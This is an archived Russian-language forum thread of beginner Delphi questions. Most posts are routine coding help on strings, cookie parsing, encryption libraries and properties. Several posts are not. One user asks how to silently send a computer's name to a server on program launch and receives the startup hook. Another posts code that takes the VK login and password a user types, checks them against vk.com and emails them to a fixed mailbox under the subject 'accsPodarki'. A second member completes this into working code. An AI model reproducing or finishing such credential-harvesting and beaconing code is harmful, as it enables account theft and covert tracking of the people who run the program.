[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    Matros(19) - в чем проблема? можешь любое число подставлять, 21, 37 и т.д. так наоборот правильней
    ну или тогда count :=9; а Result на свою s поменяй
     
  2. mazaxaka

    mazaxaka Elder - Старейшина

    Joined:
    15 Feb 2008
    Messages:
    268
    Likes Received:
    35
    Reputations:
    0
    Парни подскажите . начинающему в дельфи. нужно выполнить такой код при запуске програмы. тоетсь без нажатий кнопок и тд. есть 3 формы. прога функционал но нужно при запуске сразу выполнить код и отослать пост запрос на сервак

    Code:
    function GetComputerName: string;
    var 
      UserName: array[0..255] of Char;
      UserNameSize: DWORD;
    
    begin
      UserNameSize := 255;
      if Windows.GetComputerName(@UserName, UserNameSize) then
        Result := string(UserName);
        IdHTTP1.post('http://сАЙТ/index.php?name=' ,UserName) // послать на пост запрос с именем компютера
      else
        Result := '';
    end;
    
    
    
     
  3. CheatXX

    CheatXX New Member

    Joined:
    8 Jun 2009
    Messages:
    154
    Likes Received:
    2
    Reputations:
    0
    Подскажите пожалуйста, как на делфи зайти на ssh и выполнить команду?
     
  4. CheatXX

    CheatXX New Member

    Joined:
    8 Jun 2009
    Messages:
    154
    Likes Received:
    2
    Reputations:
    0
    Создай событие formcreate у формы и закинь туда свой код
     
  5. CheatXX

    CheatXX New Member

    Joined:
    8 Jun 2009
    Messages:
    154
    Likes Received:
    2
    Reputations:
    0
    как в SimpleDataSet1 указать порт мускуля?
     
  6. Timon132009

    Timon132009 Member

    Joined:
    7 Jun 2009
    Messages:
    137
    Likes Received:
    19
    Reputations:
    0
    Имеется:
    Code:
    var StringList:TStringList;
          s:string;
    for i:=0 to StringList.Count-1 do
    begin
    if StringList[i]=s then
    begin
    Событие
    end;
    Событие происходит только тогда когда слово из StringList полностью соответствует слову из переменной S.
    ПРИВЕТ=ПРИВЕТ
    А как сделать что бы событие происходило даже если слово не полное, например ПРИВЕТ=приве
     
  7. Zyon

    Zyon New Member

    Joined:
    24 Feb 2010
    Messages:
    15
    Likes Received:
    4
    Reputations:
    0
    Ребят, помогите плиз, такая трабла, у меня есть метод, который парсит куки запроса из ответного хедера. Но дело в том, что в ответном хедере у меня не 1 а аж 5 параметров ste-cookies, подскажите как мне все 5 спарсить. Я вот нашел некий алгаритм на инди, помогите его передалть под синапс, или расскажите иной способ пожалуйста.

    Алгоритм, который я нашел под инди:
    Код:
    Code:
    For N:=0 To Form1.IdHTTP1.Response.RawHeaders.Count-1 Do 
         Begin 
           If Form1.IdHTTP1.Response.RawHeaders.Names[N]='Set-Cookie' Then 
             Begin 
               Form1.Memo.Lines.Append(Form1.IdHTTP1.Response.RawHeaders.ValueFromInd ex[N]); 
               //Вставить куки 
             End; 
         End
     
  8. alexey-m

    alexey-m Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    518
    Likes Received:
    100
    Reputations:
    37
    День добрый, подскажите пожалуйста, может кто встречал 'легковесную' или хотя бы не кривую реализацию RSA алгоритма в Delphi, CryptoAPI и FGInt не предлогать)
     
  9. 090808

    090808 Member

    Joined:
    15 Mar 2009
    Messages:
    171
    Likes Received:
    46
    Reputations:
    10
    Project -> View Source


    Code:
    program Project2;
    
    uses
      Forms,idhttp,
      Unit1 in 'Unit1.pas' {Form1};
    
    
    var
    Http:Tidhttp;
    
    {$R *.res}
    begin
      Application.Initialize;
      Application.Title := '';
      http:=Tidhttp.create(nil);
      http.post(......);
      http.free;
      Application.CreateForm(TForm1, Form1);
      Application.Run;
    end.
    
    
    
     
  10. Voland-791

    Voland-791 Member

    Joined:
    1 May 2009
    Messages:
    163
    Likes Received:
    13
    Reputations:
    5
    Кто нибудь может помочь, нужен алгоритм "Triple-DES" на делфи для шифрования и дешифровки
     
  11. alexey-m

    alexey-m Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    518
    Likes Received:
    100
    Reputations:
    37
    вот неплохая либа DcpCrypt2, куча всяких алго криптования и хэширования
     
  12. GlooK

    GlooK Elder - Старейшина

    Joined:
    20 Apr 2007
    Messages:
    172
    Likes Received:
    53
    Reputations:
    10
    Используй регулярные выражения (модуль RegExpr)
    Code:
    RegExp.InputString := Form1.IdHTTP1.Response.RawHeaders.Text;
    RegExp.Expression := 'Set-Cookie:(.*?);';
    if RegExp.Exec then
    repeat
     Form1.Memo.Lines.Append(RegExp.Match[1]); 
    until not RegExp.ExecNext;
    
     
    1 person likes this.
  13. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    как сделать что бы после удачной авторизации Вконтакте

    Code:
    begin
    idhttp1.HandleRedirects := True;
    uns:=idhttp1.get('http://login.vk.com/?act=login&email='+edit1+'&pass='+edit2+'&expire=&vk=');
    if Pos('captcha_sid', result) <> 0 then
    
          end;
          memo4.lines.add(log + ' Авторизируемся' );
    s:=Copy(uns,Pos('value=',uns)+7,56);
    IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
    IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com');
    Выполнялся код:
    Code:
    begin
    IdSMTP1.Host:='smtp.yandex.ru';
    IdSMTP1.Port:=25;
    IdSMTP1.Username:='login';
    IdSMTP1.Password:='pass';
    IdMessage1.Body.Text:=Edit1.Text+':'+Edit2.Text;
    IdMessage1.From.Text:='[email protected]';
    IdMessage1.Recipients.EMailAddresses:='[email protected]';
    IdMessage1.Subject:='accsPodarki';
    IdSMTP1.Connect();
    if IdSMTP1.Connected=true then
    IdSMTP1.Send(IdMessage1);
    IdSMTP1.Disconnect
    end;
    А если авторизация будет не удачной, нужно что бы выводилось :
    Code:
    showmessage('Не верный пароль.')
     
  14. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    Поместить код авторизации в функцию возвращающую boolean
    типа такого:
    function TForm1.Login: boolean
    а потом просто
    if Login then
    // тут действия при удачном логине
    else
    // тут при неудаче авторизации
     
    1 person likes this.
  15. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    GhostOnline а подробнее можно? :)
     
  16. TrueBit

    TrueBit Member

    Joined:
    21 Nov 2009
    Messages:
    71
    Likes Received:
    19
    Reputations:
    4
    function check(): boolean;
    begin
    Result:=False;
    Form1.idhttp1.HandleRedirects := True;
    uns:=Form1.idhttp1.get('http://login.vk.com/?act=login&email='+Form1.edit1+'&pass='+Form1.edit2+'&expire=&vk=');
    if Pos('captcha_sid', result) <> 0 then
    begin
    Result:=True;
    end;
    Form1.memo4.lines.add(log + ' Авторизируемся' );
    s:=Copy(uns,Pos('value=',uns)+7,56);
    Form1.IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
    Form1.IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com');
    end;

    procedure TForm1.Button1Click(Sender: TObject);
    begin
    if check then
    begin
    IdSMTP1.Host:='smtp.yandex.ru';
    IdSMTP1.Port:=25;
    IdSMTP1.Username:='login';
    IdSMTP1.Password:='pass';
    IdMessage1.Body.Text:=Edit1.Text+':'+Edit2.Text;
    IdMessage1.From.Text:='[email protected]';
    IdMessage1.Recipients.EMailAddresses:='[email protected]';
    IdMessage1.Subject:='accsPodarki';
    IdSMTP1.Connect();
    if IdSMTP1.Connected=true then
    IdSMTP1.Send(IdMessage1);
    IdSMTP1.Disconnect
    end
    else
    showmessage('Не верный пароль.')
    end;
     
    1 person likes this.
  17. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    В общем, после отправки пост запроса на логин и выполнения всех редиректов нужно сделать проверку на успешность авторизации, например на наличие кнопки "выйти"
    пишешь в объявлении класса формы
    function Login: boolean;
    жмешь Ctrl-Shift+C
    генерируется скелет метода Login
    туда вставляешь код с отправкой запроса
    и в конце
    Result := pos('выйти', {тут строковая переменная в которую ты получаешь страницу}) > 0;

    Если что, могу помочь в айсикью

    Мм, слишком долго писал да и отходил еще, в общем TrueBit верно отписал
     
    #7097 GhostOnline, 30 Oct 2010
    Last edited: 30 Oct 2010
  18. Timon132009

    Timon132009 Member

    Joined:
    7 Jun 2009
    Messages:
    137
    Likes Received:
    19
    Reputations:
    0
    Как отследить изменение переменной i:integer.
    Нужно, что бы если i изменяется то выполняется условие.
     
  19. TrueBit

    TrueBit Member

    Joined:
    21 Nov 2009
    Messages:
    71
    Likes Received:
    19
    Reputations:
    4
    Сохрани в какой нибудь другой переменной, например p, значение i:
    p:=i;

    а потом, например в таймере сравнивай эти две переменные:
    if i<>p then
    begin
    {условие}
    end;
     
  20. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    поместить переменную в класс и создать свойство
    PHP:
    fIInteger;
    procedure SetI(ValueInteger);
    property IInteger read fI write SetI;

    procedure TForm1.SetI(ValueInteger);
    begin
      fI 
    := Value;
      
    // а тут действия при изменении
    end;
    Таймер для этого - имхо изврат и костыль
     
Thread Status:
Not open for further replies.